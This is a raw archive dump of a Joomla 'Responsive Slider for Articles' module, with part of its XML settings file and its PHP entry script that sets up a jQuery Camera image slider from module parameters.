description="MOD_RESPONSIVE_SLIDER_CONFIG_PIE_POSITION_DESC" > <option value="rightTop">rightTop</option> <option value="leftTop">leftTop</option> <option value="leftBottom">leftBottom</option> <option value="rightBottom">rightBottom</option> </field> <field name="bar_position" type="radio" class="btn-group" default="bottom" label="MOD_RESPONSIVE_SLIDER_CONFIG_BAR_POSITION_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_BAR_POSITION_DESC" > <option value="left">left</option> <option value="right">right</option> <option value="top">top</option> <option value="bottom">bottom</option> </field> <field name="bar_direction" type="radio" class="btn-group" default="leftToRight" label="MOD_RESPONSIVE_SLIDER_CONFIG_BAR_DIRECTION_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_BAR_DIRECTION_DESC" > <option value="leftToRight">leftToRight</option> <option value="rightToLeft">rightToLeft</option> <option value="topToBottom">topToBottom</option> <option value="bottomToTop">bottomToTop</option> </field> </fieldset> <fieldset name="advanced"> <field name="load_jquery" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOAD_JQUERY_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOAD_JQUERY_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="load_easing" type="radio" class="btn-group" default="1" label="MOD_RESPONSIVE_SLIDER_CONFIG_LOAD_EASING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_LOAD_EASING_DESC" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="enable_cache" type="radio" class="btn-group" default="0" label="MOD_RESPONSIVE_SLIDER_CONFIG_CACHING_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_CACHING_DESC" > <option value="1">Use global</option> <option value="0">No caching</option> </field> <field name="cache_time" type="text" default="30" label="MOD_RESPONSIVE_SLIDER_CONFIG_CACHE_TIME_LABEL" description="MOD_RESPONSIVE_SLIDER_CONFIG_CACHE_TIME_DESC" /> </fieldset> </fields> </config> </extension> mod_responsive_slider.php000060400000014213151652224050011652 0ustar00<?php /** * @title Responsive Slider for Articles * @version 3.x * @copyright Copyright (C) 2011-2014 Minitek, All rights reserved. * @license GNU General Public License version 3 or later. * @author url http://www.minitek.gr/ * @author email info@minitek.gr * @developers Minitek.gr */ // no direct access defined('_JEXEC') or die('Restricted access'); if(!defined('DS')){ define('DS',DIRECTORY_SEPARATOR); } // Get Helper function require_once JPATH_SITE.DS.'modules'.DS.'mod_responsive_slider'.DS.'helper.php'; // Define parameters $module_id = $module->id; // Define parameters if ($params->get('auto_module_id')) { $sliderid = 'resli'.$module_id; } else { $sliderid = ''.$params->get('custom_module_id'); } // Add stylesheets $document = & JFactory::getDocument(); $document->addStyleSheet(JURI::base().'modules/mod_responsive_slider/assets/css/camera.css'); // Add scripts if ($params->get('load_jquery')) { JHtml::_('jquery.framework'); } $document->addScript(JURI::base().'modules/mod_responsive_slider/assets/js/jquery.mobile.customized.min.js'); $document->addScript(JURI::base().'modules/mod_responsive_slider/assets/js/camera.js'); if ($params->get('load_easing')) { $document->addScript(JURI::base().'modules/mod_responsive_slider/assets/js/jquery.easing.1.3.js'); } // Basic slider params $sliderHeight = (int)$params->get('image_height'); $height = (int)$params->get('image_height') / (int)$params->get('image_width'); $percHeight = $height * 100; $minHeight = (int)$params->get('minimum_height'); $showThumbs = $params->get('show_thumbs'); if ($showThumbs) { $thumbs = 'true'; } else { $thumbs = 'false'; } // Slider effects params $sliderEffect = $params->get('slider_effect'); $mobilesliderEffect = $params->get('mobile_slider_effect'); $sliderEasing = $params->get('easing'); $mobilesliderEasing = $params->get('mobile_easing'); $autoplay = $params->get('autoplay'); if ($autoplay) { $sliderAutoplay = 'true'; } else { $sliderAutoplay = 'false'; } $mobileAutoplay = $params->get('mobile_autoplay'); if ($mobileAutoplay) { $mobilesliderAutoplay = 'true'; } else { $mobilesliderAutoplay = 'false'; } $autoplaySpeed = (int)$params->get('autoplay_speed'); $transitionSpeed = (int)$params->get('transition_speed'); $playPause = $params->get('play_pause_buttons'); if ($playPause) { $playPauseButtons = 'true'; } else { $playPauseButtons = 'false'; } $pauseClick = $params->get('pause_on_click'); if ($pauseClick) { $pauseOnClick = 'true'; } else { $pauseOnClick = 'false'; } $pauseHover = $params->get('pause_on_hover'); if ($pauseHover) { $pauseOnHover = 'true'; } else { $pauseOnHover = 'false'; } $showArrows = $params->get('show_arrows'); if ($showArrows) { $showNavArrows = 'true'; } else { $showNavArrows = 'false'; } $autohideArrows = $params->get('autohide_arrows'); if ($autohideArrows) { $autohideNavArrows = 'true'; } else { $autohideNavArrows = 'false'; } $mobileautohideArrows = $params->get('mobile_autohide_arrows'); if ($mobileautohideArrows) { $mobileautohideNavArrows = 'true'; } else { $mobileautohideNavArrows = 'false'; } $opacityGrid = $params->get('opacity_on_grid'); if ($opacityGrid) { $opacityOnGrid = 'true'; } else { $opacityOnGrid = 'false'; } $loader = $params->get('loader'); $loader_color = $params->get('loader_color'); $loader_bg_color = $params->get('loader_bg_color'); $loader_opacity = $params->get('loader_opacity'); $loader_padding = $params->get('loader_padding'); $loader_stroke = $params->get('loader_stroke'); $pie_diameter = $params->get('pie_diameter'); $pie_position = $params->get('pie_position'); $bar_position = $params->get('bar_position'); $bar_direction = $params->get('bar_direction'); // Hide Navigation Bullets if ($params->get('show_bullets')) { $document->addScriptDeclaration( 'jQuery.noConflict(); jQuery(window).load(function(){ jQuery(".camera_pag").css("display", "block"); }); '); } else { $no_margin = $sliderid.' { margin-bottom: 0 !important;} '; $document->addStyleDeclaration( $no_margin ); } // Add Carousel script $document->addScriptDeclaration( 'jQuery.noConflict(); jQuery(document).ready(function(){ jQuery("#'.$sliderid.'").camera({ /* General */ height: "'.$percHeight.'%", minHeight: "'.$minHeight.'px", thumbnails: '.$thumbs.', /* Effects*/ fx: "'.$sliderEffect.'", mobileFx: "'.$mobilesliderEffect.'", easing: "'.$sliderEasing.'", mobileEasing: "'.$mobilesliderEasing.'", autoAdvance: '.$sliderAutoplay.', mobileAutoAdvance: '.$mobilesliderAutoplay.', time: '.$autoplaySpeed.', transPeriod: '.$transitionSpeed.', playPause: '.$playPauseButtons.', pauseOnClick: '.$pauseOnClick.', hover: '.$pauseOnHover.', navigation: '.$showNavArrows.', navigationHover: '.$autohideNavArrows.', mobileNavHover: '.$mobileautohideNavArrows.', opacityOnGrid: '.$opacityOnGrid.', /* Loader */ loader: "'.$loader.'", loaderColor: "'.$loader_color.'", loaderBgColor: "'.$loader_bg_color.'", loaderOpacity: '.$loader_opacity.', loaderPadding: '.$loader_padding.', loaderStroke: '.$loader_stroke.', pieDiameter: '.$pie_diameter.', piePosition: "'.$pie_position.'", barPosition: "'.$bar_position.'", barDirection: "'.$bar_direction.'", imagePath: "images/" }); }); ' ); $input = JFactory::getApplication()->input; $idbase = $params->get('catid'); $cacheid = md5(serialize(array ($idbase, $module->module))); $cacheparams = new stdClass; $cacheparams->cachemode = 'id'; $cacheparams->class = 'ResponsiveSliderHelper'; $cacheparams->method = 'getList'; $cacheparams->methodparams = $params; $cacheparams->modeparams = $cacheid; $items = JModuleHelper::moduleCache($module, $params, $cacheparams); require JModuleHelper::getLayoutPath('mod_responsive_slider', $params->get('layout', 'default'));
/home/opticamezl/www/newok/07d6c/./../libraries/../mod_responsive_slider.tar